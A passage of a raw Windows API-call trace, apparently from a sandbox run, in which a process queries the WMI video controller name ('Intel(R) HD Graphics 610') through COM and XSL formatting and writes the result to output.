[4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x20dbd8 | out: ppvObject=0x20dbd8*=0x20aa2b0) returned 0x0 [0151.571] IDispatchEx:GetDispId (in: This=0x20aa2b0, bstrName="Value", grfdex=0x8, pid=0x20db2c | out: pid=0x20db2c*=120) returned 0x0 [0151.571] IUnknown:Release (This=0x20aa2b0) returned 0x1 [0151.571] IUnknown:AddRef (This=0x20aa2b0) returned 0x2 [0151.571] IUnknown:QueryInterface (in: This=0x20aa2b0, riid=0x7fef468d588*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x20d8b0 | out: ppvObject=0x20d8b0*=0x20aa2b0) returned 0x0 [0151.572] IDispatchEx:InvokeEx (in: This=0x20aa2b0, id=120, lcid=0x409, wFlags=0x3, pdp=0x20d888*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarRes=0x15e4a8, pei=0x20d8d0, pspCaller=0x15f740 | out: pdp=0x20d888*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarRes=0x15e4a8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Name", varVal2=0x0), pei=0x20d8d0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0)) returned 0x0 [0151.572] IUnknown:Release (This=0x20aa2b0) returned 0x2 [0151.572] IUnknown:Release (This=0x20aa2b0) returned 0x1 [0151.574] memcpy (in: _Dst=0x15f038, _Src=0x7fef46a1978, _Size=0x10 | out: _Dst=0x15f038) returned 0x15f038 [0151.575] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="PROPERTY", cchCount1=8, lpString2="Property.Array", cchCount2=14) returned 1 [0151.576] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="PROPERTY", cchCount1=8, lpString2="Property.Reference", cchCount2=18) returned 1 [0151.577] memcpy (in: _Dst=0x15f088, _Src=0x7fef46a3a60, _Size=0xa | out: _Dst=0x15f088) returned 0x15f088 [0151.577] memcpy (in: _Dst=0x15f0d8, _Src=0x7fef46a2208, _Size=0x10 | out: _Dst=0x15f0d8) returned 0x15f0d8 [0151.578] memcpy (in: _Dst=0x4662c8, _Src=0x466188, _Size=0x30 | out: _Dst=0x4662c8) returned 0x4662c8 [0151.579] malloc (_Size=0x808) returned 0x22f840 [0151.579] memcpy (in: _Dst=0x22f888, _Src=0x7fef46a3b10, _Size=0xa | out: _Dst=0x22f888) returned 0x22f888 [0151.579] memcpy (in: _Dst=0x466d68, _Src=0x466188, _Size=0x30 | out: _Dst=0x466d68) returned 0x466d68 [0151.580] GetCurrentThreadId () returned 0xfdc [0151.580] DllRegisterServer () returned 0x0 [0151.580] ??3@YAXPEAX@Z () returned 0x2690cf01 [0151.580] ISystemDebugEventFire:IsActive (This=0x479040) returned 0x1 [0151.581] free (_Block=0x15f900) [0151.581] ??3@YAXPEAX@Z () returned 0x43010600540001 [0151.581] ??3@YAXPEAX@Z () returned 0x2690cf01 [0151.582] ??3@YAXPEAX@Z () returned 0x2690cf01 [0151.582] free (_Block=0x15f5d0) [0151.582] GetCurrentThreadId () returned 0xfdc [0151.582] realloc (_Block=0x0, _Size=0xc8) returned 0x15f5d0 [0151.582] memcpy (in: _Dst=0x15f5d0, _Src=0x7fef46a0800, _Size=0x10 | out: _Dst=0x15f5d0) returned 0x15f5d0 [0151.582] memcpy (in: _Dst=0x15f5e0, _Src=0x7fef468f2c8, _Size=0x6 | out: _Dst=0x15f5e0) returned 0x15f5e0 [0151.582] memcpy (in: _Dst=0x15f5e6, _Src=0x7fef468f2d0, _Size=0x18 | out: _Dst=0x15f5e6) returned 0x15f5e6 [0151.582] ??2@YAPEAX_K@Z () returned 0x1587c0 [0151.582] malloc (_Size=0x1008) returned 0x230050 [0151.583] ??2@YAPEAX_K@Z () returned 0x15f6f0 [0151.583] malloc (_Size=0x2008) returned 0x231060 [0151.583] memcpy (in: _Dst=0x231094, _Src=0x27a18e0, _Size=0x1a | out: _Dst=0x231094) returned 0x231094 [0151.583] malloc (_Size=0x108) returned 0x15a210 [0151.583] memcpy (in: _Dst=0x2310e4, _Src=0x27a18fc, _Size=0x8 | out: _Dst=0x2310e4) returned 0x2310e4 [0151.583] ??3@YAXPEAX@Z () returned 0x2690cf01 [0151.583] malloc (_Size=0x208) returned 0x15f6f0 [0151.584] malloc (_Size=0x40) returned 0x15dd40 [0151.584] malloc (_Size=0x138) returned 0x15f900 [0151.584] memcpy (in: _Dst=0x15f900, _Src=0x20e520, _Size=0x30 | out: _Dst=0x15f900) returned 0x15f900 [0151.584] memcpy (in: _Dst=0x15f938, _Src=0x2310e4, _Size=0xa | out: _Dst=0x15f938) returned 0x15f938 [0151.584] memcpy (in: _Dst=0x15f94c, _Src=0x231094, _Size=0x1c | out: _Dst=0x15f94c) returned 0x15f94c [0151.584] memcpy (in: _Dst=0x15f968, _Src=0x0, _Size=0x0 | out: _Dst=0x15f968) returned 0x15f968 [0151.584] memcpy (in: _Dst=0x15f968, _Src=0x15dd40, _Size=0x8 | out: _Dst=0x15f968) returned 0x15f968 [0151.584] memcpy (in: _Dst=0x15f978, _Src=0x20eae0, _Size=0x20 | out: _Dst=0x15f978) returned 0x15f978 [0151.584] memcpy (in: _Dst=0x15f998, _Src=0x15f5d0, _Size=0x30 | out: _Dst=0x15f998) returned 0x15f998 [0151.584] memcpy (in: _Dst=0x15f9c8, _Src=0x27a18e0, _Size=0x26 | out: _Dst=0x15f9c8) returned 0x15f9c8 [0151.584] memcpy (in: _Dst=0x15f9f0, _Src=0x15f710, _Size=0x30 | out: _Dst=0x15f9f0) returned 0x15f9f0 [0151.584] memcpy (in: _Dst=0x15fa20, _Src=0x15f74c, _Size=0x13 | out: _Dst=0x15fa20) returned 0x15fa20 [0151.585] ??2@YAPEAX_K@Z () returned 0x15c8e0 [0151.585] free (_Block=0x231060) [0151.586] free (_Block=0x230050) [0151.586] ??3@YAXPEAX@Z () returned 0x44005700820001 [0151.587] free (_Block=0x15dd40) [0151.587] free (_Block=0x15f6f0) [0151.588] free (_Block=0x15a210) [0151.588] ??2@YAPEAX_K@Z () returned 0x15dd40 [0151.588] memcpy (in: _Dst=0x15f6b0, _Src=0x20e9c0, _Size=0x10 | out: _Dst=0x15f6b0) returned 0x15f6b0 [0151.588] ??2@YAPEAX_K@Z () returned 0x15f6f0 [0151.589] ISystemDebugEventFire:IsActive (This=0x479040) returned 0x1 [0151.589] GetCurrentThreadId () returned 0xfdc [0151.589] DllRegisterServer () returned 0x0 [0151.591] realloc (_Block=0x0, _Size=0x140) returned 0x15f740 [0151.591] memcpy (in: _Dst=0x15f740, _Src=0x15e820, _Size=0xa0 | out: _Dst=0x15f740) returned 0x15f740 [0151.591] memcpy (in: _Dst=0x22f8d8, _Src=0x7fef46a0398, _Size=0x8 | out: _Dst=0x22f8d8) returned 0x22f8d8 [0151.591] memcpy (in: _Dst=0x22f920, _Src=0x7fef46a03f0, _Size=0x8 | out: _Dst=0x22f920) returned 0x22f920 [0151.591] memcpy (in: _Dst=0x491c48, _Src=0x491d08, _Size=0x2 | out: _Dst=0x491c48) returned 0x491c48 [0151.591] memcpy (in: _Dst=0x22f968, _Src=0x7fef46a1c40, _Size=0xa | out: _Dst=0x22f968) returned 0x22f968 [0151.592] memcpy (in: _Dst=0x491c48, _Src=0x491d0a, _Size=0x2 | out: _Dst=0x491c48) returned 0x491c48 [0151.592] memcpy (in: _Dst=0x491c48, _Src=0x491d0c, _Size=0x2 | out: _Dst=0x491c48) returned 0x491c48 [0151.593] memcpy (in: _Dst=0x491c48, _Src=0x491d0e, _Size=0x2 | out: _Dst=0x491c48) returned 0x491c48 [0151.595] memcpy (in: _Dst=0x491c48, _Src=0x466d68, _Size=0x2 | out: _Dst=0x491c48) returned 0x491c48 [0151.595] memcpy (in: _Dst=0x491c48, _Src=0x466d6a, _Size=0x2 | out: _Dst=0x491c48) returned 0x491c48 [0151.596] memcpy (in: _Dst=0x491c48, _Src=0x466d6c, _Size=0x2 | out: _Dst=0x491c48) returned 0x491c48 [0151.596] memcpy (in: _Dst=0x491c48, _Src=0x466d6e, _Size=0x2 | out: _Dst=0x491c48) returned 0x491c48 [0151.596] memcpy (in: _Dst=0x491c48, _Src=0x466d70, _Size=0x2 | out: _Dst=0x491c48) returned 0x491c48 [0151.597] memcpy (in: _Dst=0x491c48, _Src=0x466d72, _Size=0x2 | out: _Dst=0x491c48) returned 0x491c48 [0151.597] memcpy (in: _Dst=0x491c48, _Src=0x466d74, _Size=0x2 | out: _Dst=0x491c48) returned 0x491c48 [0151.597] memcpy (in: _Dst=0x491c48, _Src=0x466d76, _Size=0x2 | out: _Dst=0x491c48) returned 0x491c48 [0151.598] memcpy (in: _Dst=0x491c48, _Src=0x466d78, _Size=0x2 | out: _Dst=0x491c48) returned 0x491c48 [0151.598] memcpy (in: _Dst=0x491c48, _Src=0x466d7a, _Size=0x2 | out: _Dst=0x491c48) returned 0x491c48 [0151.599] memcpy (in: _Dst=0x491c48, _Src=0x466d7c, _Size=0x2 | out: _Dst=0x491c48) returned 0x491c48 [0151.599] memcpy (in: _Dst=0x491c48, _Src=0x466d7e, _Size=0x2 | out: _Dst=0x491c48) returned 0x491c48 [0151.599] memcpy (in: _Dst=0x491c48, _Src=0x466d80, _Size=0x2 | out: _Dst=0x491c48) returned 0x491c48 [0151.600] memcpy (in: _Dst=0x491c48, _Src=0x466d82, _Size=0x2 | out: _Dst=0x491c48) returned 0x491c48 [0151.600] memcpy (in: _Dst=0x491c48, _Src=0x466d84, _Size=0x2 | out: _Dst=0x491c48) returned 0x491c48 [0151.601] memcpy (in: _Dst=0x491c48, _Src=0x466d86, _Size=0x2 | out: _Dst=0x491c48) returned 0x491c48 [0151.601] memcpy (in: _Dst=0x491c48, _Src=0x466d88, _Size=0x2 | out: _Dst=0x491c48) returned 0x491c48 [0151.601] memcpy (in: _Dst=0x491c48, _Src=0x466d8a, _Size=0x2 | out: _Dst=0x491c48) returned 0x491c48 [0151.602] memcpy (in: _Dst=0x491c48, _Src=0x466d8c, _Size=0x2 | out: _Dst=0x491c48) returned 0x491c48 [0151.602] memcpy (in: _Dst=0x491c48, _Src=0x466d8e, _Size=0x2 | out: _Dst=0x491c48) returned 0x491c48 [0151.605] memcpy (in: _Dst=0x491c48, _Src=0x466d90, _Size=0x2 | out: _Dst=0x491c48) returned 0x491c48 [0151.606] memcpy (in: _Dst=0x491c48, _Src=0x466d92, _Size=0x2 | out: _Dst=0x491c48) returned 0x491c48 [0151.606] memcpy (in: _Dst=0x491c48, _Src=0x466d94, _Size=0x2 | out: _Dst=0x491c48) returned 0x491c48 [0151.607] memcpy (in: _Dst=0x491c48, _Src=0x466d96, _Size=0x2 | out: _Dst=0x491c48) returned 0x491c48 [0151.609] memcpy (in: _Dst=0x491c48, _Src=0x491d08, _Size=0x2 | out: _Dst=0x491c48) returned 0x491c48 [0151.609] memcpy (in: _Dst=0x491c48, _Src=0x491d0a, _Size=0x2 | out: _Dst=0x491c48) returned 0x491c48 [0151.609] memcpy (in: _Dst=0x491c48, _Src=0x491d0c, _Size=0x2 | out: _Dst=0x491c48) returned 0x491c48 [0151.610] memcpy (in: _Dst=0x491c48, _Src=0x491d0e, _Size=0x2 | out: _Dst=0x491c48) returned 0x491c48 [0151.611] memcpy (in: _Dst=0x491d38, _Src=0x491c48, _Size=0x0 | out: _Dst=0x491d38) returned 0x491d38 [0151.611] memcpy (in: _Dst=0x491d38, _Src=0x491d08, _Size=0x8 | out: _Dst=0x491d38) returned 0x491d38 [0151.612] memcpy (in: _Dst=0x480ea8, _Src=0x4661d8, _Size=0x20 | out: _Dst=0x480ea8) returned 0x480ea8 [0151.612] memcpy (in: _Dst=0x480ec8, _Src=0x4661d8, _Size=0x20 | out: _Dst=0x480ec8) returned 0x480ec8 [0151.612] memcpy (in: _Dst=0x22f9b8, _Src=0x7fef46a03c0, _Size=0xa | out: _Dst=0x22f9b8) returned 0x22f9b8 [0151.613] memcpy (in: _Dst=0x4661d8, _Src=0x480ea8, _Size=0x2c | out: _Dst=0x4661d8) returned 0x4661d8 [0151.613] memcpy (in: _Dst=0x466188, _Src=0x491d38, _Size=0x8 | out: _Dst=0x466188) returned 0x466188 [0151.613] memcpy (in: _Dst=0x466190, _Src=0x4661d8, _Size=0x2c | out: _Dst=0x466190) returned 0x466190 [0151.615] memcpy (in: _Dst=0x491d38, _Src=0x466d68, _Size=0x2 | out: _Dst=0x491d38) returned 0x491d38 [0151.615] memcpy (in: _Dst=0x491d38, _Src=0x466d6a, _Size=0x2 | out: _Dst=0x491d38) returned 0x491d38 [0151.616] memcpy (in: _Dst=0x491d38, _Src=0x466d6c, _Size=0x2 | out: _Dst=0x491d38) returned 0x491d38 [0151.616] memcpy (in: _Dst=0x491d38, _Src=0x466d6e, _Size=0x2 | out: _Dst=0x491d38) returned 0x491d38 [0151.616] memcpy (in: _Dst=0x491d38, _Src=0x466d70, _Size=0x2 | out: _Dst=0x491d38) returned 0x491d38 [0151.617] memcpy (in: _Dst=0x491d38, _Src=0x466d72, _Size=0x2 | out: _Dst=0x491d38) returned 0x491d38 [0151.617] memcpy (in: _Dst=0x491d38, _Src=0x466d74, _Size=0x2 | out: _Dst=0x491d38) returned 0x491d38 [0151.618] memcpy (in: _Dst=0x491d38, _Src=0x466d76, _Size=0x2 | out: _Dst=0x491d38) returned 0x491d38 [0151.619] memcpy (in: _Dst=0x491d38, _Src=0x466d78, _Size=0x2 | out: _Dst=0x491d38) returned 0x491d38 [0151.619] memcpy (in: _Dst=0x491d38, _Src=0x466d7a, _Size=0x2 | out: _Dst=0x491d38) returned 0x491d38 [0151.619] memcpy (in: _Dst=0x491d38, _Src=0x466d7c, _Size=0x2 | out: _Dst=0x491d38) returned 0x491d38 [0151.620] memcpy (in: _Dst=0x491d38, _Src=0x466d7e, _Size=0x2 | out: _Dst=0x491d38) returned 0x491d38 [0151.620] memcpy (in: _Dst=0x491d38, _Src=0x466d80, _Size=0x2 | out: _Dst=0x491d38) returned 0x491d38 [0151.621] memcpy (in: _Dst=0x491d38, _Src=0x466d82, _Size=0x2 | out: _Dst=0x491d38) returned 0x491d38 [0151.621] memcpy (in: _Dst=0x491d38, _Src=0x466d84, _Size=0x2 | out: _Dst=0x491d38) returned 0x491d38 [0151.622] memcpy (in: _Dst=0x491d38, _Src=0x466d86, _Size=0x2 | out: _Dst=0x491d38) returned 0x491d38 [0151.622] memcpy (in: _Dst=0x491d38, _Src=0x466d88, _Size=0x2 | out: _Dst=0x491d38) returned 0x491d38 [0151.622] memcpy (in: _Dst=0x491d38, _Src=0x466d8a, _Size=0x2 | out: _Dst=0x491d38) returned 0x491d38 [0151.623] memcpy (in: _Dst=0x491d38, _Src=0x466d8c, _Size=0x2 | out: _Dst=0x491d38) returned 0x491d38 [0151.623] memcpy (in: _Dst=0x491d38, _Src=0x466d8e, _Size=0x2 | out: _Dst=0x491d38) returned 0x491d38 [0151.624] memcpy (in: _Dst=0x491d38, _Src=0x466d90, _Size=0x2 | out: _Dst=0x491d38) returned 0x491d38 [0151.624] memcpy (in: _Dst=0x491d38, _Src=0x466d92, _Size=0x2 | out: _Dst=0x491d38) returned 0x491d38 [0151.625] memcpy (in: _Dst=0x491d38, _Src=0x466d94, _Size=0x2 | out: _Dst=0x491d38) returned 0x491d38 [0151.625] memcpy (in: _Dst=0x491d38, _Src=0x466d96, _Size=0x2 | out: _Dst=0x491d38) returned 0x491d38 [0151.627] memcpy (in: _Dst=0x4661d8, _Src=0x491d38, _Size=0x0 | out: _Dst=0x4661d8) returned 0x4661d8 [0151.627] memcpy (in: _Dst=0x4661d8, _Src=0x466d68, _Size=0x30 | out: _Dst=0x4661d8) returned 0x4661d8 [0151.628] memcpy (in: _Dst=0x491c48, _Src=0x4662c8, _Size=0x4 | out: _Dst=0x491c48) returned 0x491c48 [0151.628] memcpy (in: _Dst=0x4662c8, _Src=0x4661d8, _Size=0x30 | out: _Dst=0x4662c8) returned 0x4662c8 [0151.628] memcpy (in: _Dst=0x4662f8, _Src=0x491c48, _Size=0x4 | out: _Dst=0x4662f8) returned 0x4662f8 [0151.629] memcpy (in: _Dst=0x22fa08, _Src=0x7fef46a0620, _Size=0xe | out: _Dst=0x22fa08) returned 0x22fa08 [0151.629] memcpy (in: _Dst=0x480ea8, _Src=0x4662c8, _Size=0x34 | out: _Dst=0x480ea8) returned 0x480ea8 [0151.629] memcpy (in: _Dst=0x480edc, _Src=0x491c48, _Size=0x4 | out: _Dst=0x480edc) returned 0x480edc [0151.629] memcpy (in: _Dst=0x446dd8, _Src=0x466188, _Size=0x34 | out: _Dst=0x446dd8) returned 0x446dd8 [0151.629] memcpy (in: _Dst=0x446e0c, _Src=0x491c48, _Size=0x4 | out: _Dst=0x446e0c) returned 0x446e0c [0151.630] memcpy (in: _Dst=0x476ba8, _Src=0x446dd8, _Size=0x38 | out: _Dst=0x476ba8) returned 0x476ba8 [0151.630] memcpy (in: _Dst=0x476be0, _Src=0x480ea8, _Size=0x38 | out: _Dst=0x476be0) returned 0x476be0 [0151.630] GetCurrentThreadId () returned 0xfdc [0151.630] DllRegisterServer () returned 0x0 [0151.631] ??3@YAXPEAX@Z () returned 0x2690cf01 [0151.631] ISystemDebugEventFire:IsActive (This=0x479040) returned 0x1 [0151.632] free (_Block=0x15f900) [0151.632] ??3@YAXPEAX@Z () returned 0x43010700540001 [0151.632] ??3@YAXPEAX@Z () returned 0x2690cf01 [0151.633] free (_Block=0x15f5d0) [0151.633] GetCurrentThreadId () returned 0xfdc [0151.633] GetCurrentThreadId () returned 0xfdc [0151.633] IUnknown:Release (This=0x479040) returned 0x1 [0151.633] DllRegisterServer () returned 0x0 [0151.633] DllRegisterServer () returned 0x0 [0151.634] GetUserDefaultLCID () returned 0x409 [0151.634] GetACP () returned 0x4e4 [0151.634] ??3@YAXPEAX@Z () returned 0x43010800580001 [0151.634] ??3@YAXPEAX@Z () returned 0x2690cf01 [0151.635] ??3@YAXPEAX@Z () returned 0x2690cf01 [0151.635] ??3@YAXPEAX@Z () returned 0x2690cf01 [0151.635] ??3@YAXPEAX@Z () returned 0x2690cf01 [0151.635] ??3@YAXPEAX@Z () returned 0x2690cf01 [0151.635] ??3@YAXPEAX@Z () returned 0x2690cf01 [0151.706] free (_Block=0x15e8d0) [0151.706] free (_Block=0x15f740) [0151.707] free (_Block=0x22f840) [0151.707] free (_Block=0x15ed00) [0151.707] free (_Block=0x15ea00) [0151.708] free (_Block=0x15a100) [0151.708] ??3@YAXPEAX@Z () returned 0x2690cf01 [0151.708] ??3@YAXPEAX@Z () returned 0x440058007e0001 [0151.708] ISystemDebugEventFire:EndSession (This=0x479040) returned 0x0 [0151.708] IUnknown:Release (This=0x479040) returned 0x0 [0151.708] ??3@YAXPEAX@Z () returned 0x2690cf01 [0151.708] ??3@YAXPEAX@Z () returned 0x2690cf01 [0151.708] ??3@YAXPEAX@Z () returned 0x2690cf01 [0151.708] DllRegisterServer () returned 0x0 [0151.709] IXSLProcessor:get_output (in: This=0x20a8df0, pOutput=0x20efc0 | out: pOutput=0x20efc0*(varType=0x8, wReserved1=0x20a, wReserved2=0x0, wReserved3=0x0, varVal1="Name \r\nIntel(R) HD Graphics 610 \r\n", varVal2=0x1)) returned 0x0 [0151.709] malloc (_Size=0x18) returned 0x15c880 [0151.710] XSLTemplate:IUnknown:Release (This=0x20a8df0) returned 0x0 [0151.710] FreeThreadedDOMDocument:IUnknown:Release (This=0x20ab330) returned 0x2 [0151.710] XSLTemplate:IUnknown:Release (This=0x20a7620) returned 0x0 [0151.712] memcpy (in: _Dst=0x20ed40, _Src=0x15f6a0, _Size=0x10 | out: _Dst=0x20ed40) returned 0x20ed40 [0151.712] free (_Block=0x22b830) [0151.713] ??3@YAXPEAX@Z () returned 0x43010900580001 [0151.713] ??3@YAXPEAX@Z () returned 0x2690cf01 [0151.714] free (_Block=0x15f6a0) [0151.714] ??3@YAXPEAX@Z () returned 0x2690cf01 [0151.714] ??3@YAXPEAX@Z () returned 0x2690cf01 [0151.714] ??1CHString@@QEAA@XZ () returned 0x7fef4dfc96c [0151.715] free (_Block=0x1586c0) [0151.715] free (_Block=0x15cd80) [0151.715] malloc (_Size=0x80) returned 0x15db90 [0151.715] memcpy_s (in: _Destination=0x15db90, _DestinationSize=0x7e, _Source=0x476c38, _SourceSize=0x70 | out: _Destination=0x15db90) returned 0x0 [0151.716] malloc (_Size=0x30) returned 0x1586c0 [0151.716] free (_Block=0x1586c0) [0151.716] malloc (_Size=0x40) returned 0x15dc20 [0151.716] memcpy_s (in: _Destination=0x15dc20, _DestinationSize=0x3e, _Source=0x15db90, _SourceSize=0x38 | out: _Destination=0x15dc20) returned 0x0 [0151.716] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Name \r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0151.716] malloc (_Size=0x1d) returned 0x15cd80 [0151.717] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Name \r\n", cchWideChar=-1, lpMultiByteStr=0x15cd80, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Name \r\n", lpUsedDefaultChar=0x0) returned 29 [0151.717] fprintf (in: _File=0x7feff862ab0, _Format="%s" | out: _File=0x7feff862ab0) returned 28 [0151.717] fflush (in: _File=0x7feff862ab0 | out: _File=0x7feff862ab0) returned 0 [0151.717] free (_Block=0x15cd80) [0151.722] free (_Block=0x15dc20) [0151.722] malloc (_Size=0x40) returned 0x15dc20 [0151.722] memcpy_s (in: _Destination=0x15dc20, _DestinationSize=0x3e, _Source=0x15dbc8, _SourceSize=0x38 | out: _Destination=0x15dc20) returned 0x0 [0151.722] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Intel(R) HD Graphics 610 \r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0151.722] malloc (_Size=0x1d) returned 0x15cd80 [0151.722] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Intel(R) HD Graphics 610 \r\n", cchWideChar=-1, lpMultiByteStr=0x15cd80, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Intel(R) HD Graphics 610 \r\n", lpUsedDefaultChar=0x0) returned 29 [0151.722] fprintf (in: _File=0x7feff862ab0, _Format="%s" | out: _File=0x7feff862ab0) returned 28 [0151.722] fflush (in: _File=0x7feff862ab0 | out: _File=0x7feff862ab0) returned 0 [0151.722] free (_Block=0x15cd80) [0151.723] free (_Block=0x15dc20) [0151.723] malloc (_Size=0x800) returned 0x15e780 [0151.723] LoadStringW (in: hInstance=0x0, uID=0xafd2, lpBuffer=0x15e780, cchBufferMax=1024 | out: lpBuffer="\r\n") returned 0x2 [0151.723] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0151.723] malloc (_Size=0x3) returned 0x157fb0 [0151.723] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x157fb0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0151.723] fprintf (in: _File=0x7feff862ab0, _Format="%s" | out: _File=0x7feff862ab0) returned 2 [0151.723] fflush (in: _File=0x7feff862ab0 | out: _File=0x7feff862ab0) returned 0 [0151.724] free (_Block=0x157fb0) [0151.724] free (_Block=0x15e780) [0151.724] free (_Block=0x15db90) [0151.724] ??1CHString@@QEAA@XZ () returned 0x7fef4dfc96c [0151.724] free (_Block=0x15c880) [0151.725] ??1CHString@@QEAA@XZ () returned 0x2690cf01 [0151.725] FreeThreadedDOMDocument:IUnknown:Release (This=0x20a71d0) returned 0x0 [0151.725] ?Empty@CHString@@QEAAXXZ () returned 0x7fef4dfc96c [0151.725] free (_Block=0x15ca00) [0151.725] malloc (_Size=0x18) returned 0x15ca00 [0151.725] free (_Block=0x15ca80) [0151.725] malloc (_Size=0x18) returned 0x15ca80 [0151.725] free (_Block=0x15cc90) [0151.725] free (_Block=0x15caa0) [0151.725] free (_Block=0x15cac0) [0151.725] free (_Block=0x15ca40) [0151.725] free (_Block=0x15ca00) [0151.726] free (_Block=0x15ca80) [0151.730] free (_Block=0x156da0) [0151.857] free (_Block=0x158680) [0151.858] free (_Block=0x158600) [0151.858] free (_Block=0x156e00) [0151.859] free (_Block=0x158780) [0151.859] free (_Block=0x15cb20) [0151.859] free (_Block=0x156ce0) [0151.859] free (_Block=0x15c900) [0151.860] free (_Block=0x15ce70) [0151.860] free (_Block=0x15c980) [0151.861] free (_Block=0x15c940) [0151.861] free (_Block=0x15c9a0) [0151.861] free (_Block=0x15c9c0) [0151.861] free (_Block=0x15c9e0) [0151.862] free (_Block=0x15cdf0) [0151.862] ?Empty@CHString@@QEAAXXZ () returned 0x7fef4dfc96c [0151.862] free (_Block=0x15cbe0) [0151.862] free (_Block=0x15c920) [0151.863] free (_Block=0x158640) [0151.863] free (_Block=0x15cc40) [0151.863] free (_Block=0x15c960) [0151.864] free (_Block=0x157f10) [0151.864] free (_Block=0x157f60) [0151.865] free (_Block=0x156480) [0151.865] free (_Block=0x15ca20) [0151.865] free (_Block=0x156540) [0151.865] free (_Block=0x156cc0) [0151.866] free (_Block=0x158080) [0151.866] free (_Block=0x156ca0) [0151.866] free (_Block=0x158040) [0151.867] free (_Block=0x156880) [0151.867] free (_Block=0x158000) [0151.867] free (_Block=0x156760) [0151.868] free (_Block=0x156780) [0151.868] free (_Block=0x156700) [0151.869] free (_Block=0x156720) [0151.869] free (_Block=0x1567c0) [0151.870] free (_Block=0x1567e0) [0151.870] free (_Block=0x156820) [0151.870] free (_Block=0x156840) [0151.870] free (_Block=0x156640) [0151.871] free (_Block=0x156660) [0151.871] free (_Block=0x1565e0) [0151.872] free (_Block=0x156600) [0151.872] free (_Block=0x1566a0) [0151.872] free (_Block=0x1566c0) [0151.872] free (_Block=0x156580) [0151.873] free (_Block=0x1565a0) [0151.873] free (_Block=0x156500) [0151.874] free (_Block=0x1564d0) [0151.874] free (_Block=0x15cb50) [0151.874] WbemObjectTextSrc:IUnknown:Release (This=0x4895d0) returned 0x0 [0151.875] IUnknown:Release (This=0x488520) returned 0x0 [0151.875] WbemLocator:IUnknown:Release (This=0x40cb90) returned 0x2 [0151.875] WbemLocator:IUnknown:Release (This=0x4764c0) returned 0x0 [0152.000] WbemLocator:IUnknown:Release (This=0x40cb90) returned 0x1 [0152.000] ?Empty@CHString@@QEAAXXZ () returned 0x7fef4dfc96c [0152.000] WbemLocator:IUnknown:Release (This=0x40cb90) returned 0x0 [0152.001] free (_Block=0x15c800) [0152.001] free (_Block=0x15c820) [0152.001] free (_Block=0x158580) [0152.002] free (_Block=0x15c840) [0152.002] free (_Block=0x15c860) [0152.002] free (_Block=0x1585c0) [0152.002] free (_Block=0x15c680) [0152.002] free (_Block=0x15c6a0) [0152.003] free (_Block=0x158400) [0152.003] free (_Block=0x15c6c0) [0152.003] free (_Block=0x15c6e0) [0152.003] free (_Block=0x158440) [0152.003] free (_Block=0x15c600) [0152.003] free (_Block=0x15c620) [0152.003] free (_Block=0x158380) [0152.004] free (_Block=0x15c640) [0152.004] free (_Block=0x15c660) [0152.004] free (_Block=0x1583c0) [0152.005] free (_Block=0x15c780) [0152.005] free (_Block=0x15c7a0) [0152.005] free (_Block=0x158500) [0152.005] free (_Block=0x15c7c0) [0152.006] free (_Block=0x15c7e0) [0152.006] free (_Block=0x158540) [0152.006] free (_Block=0x15c580) [0152.006] free (_Block=0x15c5a0) [0152.007] free (_Block=0x158300) [0152.007] free (_Block=0x15c5c0) [0152.007] free (_Block=0x15c5e0) [0152.008] free (_Block=0x158340) [0152.008] free (_Block=0x15c700) [0152.008] free (_Block=0x15c720) [0152.009] free (_Block=0x158480) [0152.009] free (_Block=0x15c740) [0152.009] free (_Block=0x15c760) [0152.009] free (_Block=0x1584c0) [0152.009] free (_Block=0x15c4c0) [0152.010] free (_Block=0x15c4e0) [0152.010] free (_Block=0x158240) [0152.010] free (_Block=0x15c380) [0152.010] free (_Block=0x15c3a0) [0152.010] free (_Block=0x158100) [0152.010] free (_Block=0x156e70) [0152.011] free (_Block=0x156e90) [0152.011] free (_Block=0x1580c0) [0152.011] free (_Block=0x15c400) [0152.011] free (_Block=0x15c420) [0152.011] free (_Block=0x158180) [0152.012] free (_Block=0x15c500) [0152.012] free (_Block=0x15c520) [0152.012] free (_Block=0x158280) [0152.012] free (_Block=0x15c3c0) [0152.012] free (_Block=0x15c3e0) [0152.012] free (_Block=0x158140) [0152.013] free (_Block=0x15c440) [0152.013] free (_Block=0x15c460) [0152.013] free (_Block=0x1581c0) 